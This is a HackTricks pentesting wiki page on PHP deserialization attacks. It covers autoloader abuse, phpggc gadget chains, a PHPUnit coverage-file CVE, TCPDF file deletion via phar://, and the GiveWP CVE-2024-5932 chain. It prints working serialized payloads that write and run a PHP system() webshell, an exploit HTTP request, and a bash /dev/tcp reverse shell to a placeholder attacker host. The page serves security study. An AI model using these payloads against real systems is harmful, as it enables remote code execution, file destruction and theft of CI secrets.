php-deserialization-autoload-classes.md (12614B)
1 --- 2 title: "PHP - Deserialization + Autoload Classes" 3 section: "Web Pentesting" 4 sectionSlug: "pentesting-web" 5 sourcePath: "src/pentesting-web/deserialization/php-deserialization-+-autoload-classes.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/deserialization/php-deserialization-%2B-autoload-classes.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # PHP - Deserialization + Autoload Classes 14 15 First, you should check what are [**Autoloading Classes**](https://www.php.net/manual/en/language.oop5.autoload.php). 16 17 ## PHP deserialization + spl_autoload_register + LFI/Gadget 18 19 We are in a situation where we found a **PHP deserialization in a webapp** with **no** library vulnerable to gadgets inside **`phpggc`**. However, in the same container there was a **different composer webapp with vulnerable libraries**. Therefore, the goal was to **load the composer loader of the other webapp** and abuse it to **load a gadget that will exploit that library with a gadget** from the webapp vulnerable to deserialization. 20 21 Steps: 22 23 - You have found a **deserialization** and there **isn’t any gadget** in the current app code 24 - You can abuse a **`spl_autoload_register`** function like the following to **load any local file with `.php` extension** 25 - For that you use a deserialization where the name of the class is going to be inside **`$name`**. You **cannot use "/" or "."** in a class name in a serialized object, but the **code** is **replacing** the **underscores** ("_") **for slashes** ("/"). So a class name such as `tmp_passwd` will be transformed into `/tmp/passwd.php` and the code will try to load it.\ 26 A **gadget example** will be: **`O:10:"tmp_passwd":0:{}`** 27 28 <details> 29 <summary>spl_autoload_register autoload example</summary> 30 31 ```php 32 spl_autoload_register(function ($name) { 33 34 if (preg_match('/Controller$/', $name)) { 35 $name = "controllers/${name}"; 36 } elseif (preg_match('/Model$/', $name)) { 37 $name = "models/${name}"; 38 } elseif (preg_match('/_/', $name)) { 39 $name = preg_replace('/_/', '/', $name); 40 } 41 42 $filename = "/${name}.php"; 43 44 if (file_exists($filename)) { 45 require $filename; 46 } 47 elseif (file_exists(__DIR__ . $filename)) { 48 require __DIR__ . $filename; 49 } 50 }); 51 ``` 52 53 </details> 54 55 > [!TIP] 56 > If you have a **file upload** and can upload a file with **`.php` extension** you could **abuse this functionality directly** and get already RCE. 57 58 In my case, I didn’t have anything like that, but there was inside the **same container** another composer web page with a **library vulnerable to a `phpggc` gadget**. 59 60 - To load this other library, first you need to **load the composer loader of that other web app** (because the one of the current application won’t access the libraries of the other one.) **Knowing the path of the application**, you can achieve this very easily with: **`O:28:"www_frontend_vendor_autoload":0:{}`** (In my case, the composer loader was in `/www/frontend/vendor/autoload.php`) 61 - Now, you can **load** the others **app composer loader**, so it’s time to **`generate the phpgcc`** **payload** to use. In my case, I used **`Guzzle/FW1`**, which allowed me to **write any file inside the filesystem**. 62 - NOTE: The **generated gadget was not working**, in order for it to work I **modified** that payload **`chain.php`** of phpggc and set **all the attribute**s of the classes **from private to public**. If not, after deserializing the string, the attributes of the created objects didn’t have any values. 63 - Now we have the way to **load the others app composer loader** and have a **phpggc payload that works**, but we need to **do this in the SAME REQUEST for the loader to be loaded when the gadget is used**. For that, I sent a serialized array with both objects like: 64 - You can see **first the loader being loaded and then the payload** 65 66 ```php 67 a:2:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}} 68 ``` 69 70 - Now, we can **create and write a file**, however, the user **couldn’t write in any folder inside the web server**. So, as you can see in the payload, PHP calling **`system`** with some **base64** is created in **`/tmp/a.php`**. Then, we can **reuse the first type of payload** that we used to as LFI to load the composer loader of the other webapp t**o load the generated `/tmp/a.php`** file. Just add it to the deserialization gadget: 71 72 ```php 73 a:3:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}s:6:"Extra3";O:5:"tmp_a":0:{} } 74 ``` 75 76 **Summary of the payload** 77 78 - **Load the composer autoload** of a different webapp in the same container 79 - **Load a phpggc gadget** to abuse a library from the other webapp (the initial webapp vulnerable to deserialization didn’t have any gadget on its libraries) 80 - The gadget will **create a file with a PHP payload** on it in /tmp/a.php with malicious commands (the webapp user cannot write in any folder of any webapp) 81 - The final part of our payload will use **load the generated php file** that will execute commands 82 83 I needed to **call this deserialization twice**. In my testing, the first time the `/tmp/a.php` file was created but not loaded, and the second time it was correctly loaded. 84 85 ### Recent phpggc goodies (2025) 86 87 - The **phpggc master branch keeps adding chains**: OpenCart/RCE2, Drupal/FD1/SQLI1/XXE1, WordPress/YoastSEO/FW1 and others landed in 2025 — useful when the target app shares vendor code with those projects. A quick way to search is `phpggc -l | grep -E "OpenCart|Drupal|Yoast"` (update your clone first). 88 - When mixing gadgets across apps via autoloading, remember **private properties in gadget definitions may be dropped** when classes are re-declared differently in the target; edit the gadget’s `chain.php` to make properties `public` if the payload arrives with empty values (same trick shown above). 89 90 ## PHPUnit PHPT coverage deserialization (CI/CD entrypoint) 91 92 `phpunit` before **8.5.52 / 9.6.34 / 10.5.63 / 11.5.50 / 12.5.8** (CVE-2026-24765) unserialized arbitrary PHP objects from `.coverage` files produced by the **PHPT runner**. In CI pipelines where untrusted contributors can push tests, dropping a crafted `.coverage` file triggers deserialization as soon as the suite runs — no web access needed.<sup>[[5]](#references)</sup> 93 94 **Attack flow** 95 96 1. Place a malicious `.coverage` file in the repo (or artifact) containing a serialized gadget that exists in the test dependencies (e.g., a Monolog or Guzzle chain from phpggc). 97 2. Submit a PR; when CI executes `phpunit --configuration phpunit.xml`, the PHPT runner reads the coverage file and deserializes the gadget, giving **RCE inside the runner container**. 98 3. This is especially nasty when tests mount CI secrets (cloud creds, deployment keys). 99 100 **Minimal malicious coverage stub** (drop alongside a PHPT test): 101 ```php 102 <?php 103 $payload = file_get_contents('php://stdin'); // serialized gadget from phpggc 104 file_put_contents('exploit.coverage', $payload); 105 ``` 106 Run the PHPT so phpunit consumes `exploit.coverage`. 107 108 ## TCPDF `__destruct` POP chain for arbitrary file deletion 109 110 When a real `TCPDF` instance is garbage-collected it calls `_destroy(true)`, iterates over `$this->imagekeys`, and `unlink()`s anything that looks like a cache file under `K_PATH_CACHE`. If an application performs `unserialize($user_data)` while the `TCPDF` class is loaded (e.g. it expects an array with an `html` key), you can supply a serialized object that sets: 111 112 - `file_id` to any integer that is not present in `self::$cleaned_ids` (e.g. `-1`). 113 - `imagekeys` to paths that begin with `K_PATH_CACHE` or that can be made to look like it (e.g. `/tmp/../tmp/do_not_delete_this_file.txt` when `K_PATH_CACHE` is `/tmp/`).<sup>[[1]](#references)</sup> 114 115 Example payload hitting an unsafe `unserialize($_GET['p']); $pdf->writeHTML($payload['html']);` flow: 116 117 ```text 118 a:1:{s:4:"html";O:5:"TCPDF":2:{s:7:"file_id";i:-1;s:9:"imagekeys";a:1:{i:0;s:39:"/tmp/../tmp/do_not_delete_this_file.txt";}}} 119 ``` 120 121 The file is deleted as soon as the object falls out of scope. TCPDF 6.9.3 tightened the check to only remove paths with the `__tcpdf_<file_id>_` prefix inside `K_PATH_CACHE` and introduced `_unlink()` to block non-`file://` schemes, so older `Producer` versions are prime targets.<sup>[[4]](#references)</sup> 122 123 ### Triggering the gadget via `phar://` in html2pdf `<cert>` tags 124 125 `spipu/html2pdf` (≤5.3.0) wraps TCPDF and exposes a custom `<cert>` block whose `src`/`privkey` attributes are validated with plain `file_exists()`. On PHP < 8.0 any filesystem function that touches a `phar://` URL causes the Phar metadata to be unserialized. By storing the malicious TCPDF object above inside a Phar archive you gain a reliable POP even if the application never calls `unserialize()` itself. 126 127 1. Craft a Phar with `phar.readonly=0`, set the stub/manifest to look like an image (e.g. rename `archive.phar` to `archive.png`), and store the serialized TCPDF object in the Phar metadata.<sup>[[1]](#references)</sup> 128 2. Upload/place the file somewhere reachable such as `/tmp/user_files/user_1/archive.png`. 129 3. Submit HTML containing the CERT tag so html2pdf resolves the attacker-controlled path: 130 131 ```html 132 <cert src="phar:///tmp/user_files/user_1/archive.png" 133 privkey="phar:///tmp/user_files/user_1/archive.png" /> 134 ``` 135 136 The call to `file_exists()` deserializes the metadata, instantiates TCPDF, and its destructor deletes the chosen file, turning html2pdf into a powerful `phar://` entry point. Version 5.3.1 added `Security::checkValidPath()` to block unapproved schemes, so legacy deployments remain attractive. 137 138 ### GiveWP <3.14.2 unauthenticated POP chain to RCE (CVE-2024-5932) 139 140 **GiveWP** (WordPress donation plugin) up to **3.14.1** unserializes the user-controlled **`give_title`** field during `give_process_donation` without authentication. With the plugin’s dependencies autoloaded you get a **POP chain** that reaches a callable sink.<sup>[[2]](#references)</sup> 141 142 - The EQSTLab PoC builds a chain using `Stripe\StripeObject` and `Give\Vendors\Faker\ValidGenerator`, sets the internal `\0*\0validator` to `shell_exec`, and tucks the attacker command in `Give\Onboarding\SettingsRepository` data.<sup>[[3]](#references)</sup> 143 - POST the serialized payload as `give_title` to any donation form endpoint (e.g. `/donations/<slug>/`) with the offline gateway so no payment is attempted: 144 145 ```http 146 POST /donations/the-things-we-need/ HTTP/1.1 147 Host: giveback.htb 148 Content-Type: application/x-www-form-urlencoded 149 150 amount=5&give-form-id=1&give-form-title=Any&give-gateway=offline&action=give_process_donation&give_title=O:31:"Stripe\StripeObject":1:{...serialized payload...} 151 ``` 152 153 - Output is **blind**, so use a **callback payload** such as a Bash reverse shell: `bash -c "bash -i >& /dev/tcp/ATTACKER/PORT 0>&1"` and listen with `nc -lnvp PORT`. 154 - The same chain can delete arbitrary files by pointing the sink at `unlink`. Use **phpggc** or the PoC (Python + `uv run CVE-2024-5932-rce.py -u <form_url> -c '<cmd>'`) to craft the blob, but any serializer able to emit PHP objects works.<sup>[[3]](#references)</sup> 155 156 ## References 157 158 - [1] [Positive Technologies – Blind Trust: What Is Hidden Behind the Process of Creating Your PDF File?](https://swarm.ptsecurity.com/blind-trust-what-is-hidden-behind-the-process-of-creating-your-pdf-file/) 159 - [2] [HTB Giveback – CVE-2024-5932 GiveWP unauthenticated deserialization → RCE](https://0xdf.gitlab.io/2026/02/21/htb-giveback.html) 160 - [3] [EQSTLab PoC – CVE-2024-5932 GiveWP RCE](https://github.com/EQSTLab/CVE-2024-5932) 161 - [4] [GitLab Advisory Database – tecnickcom/tcpdf vulnerabilities (hash comparison, phar deserialization)](https://advisories.gitlab.com/pkg/composer/tecnickcom/tcpdf/) 162 - [5] [CVE-2026-24765 – PHPUnit PHPT Coverage Unsafe Deserialization](https://cvereports.com/reports/CVE-2026-24765)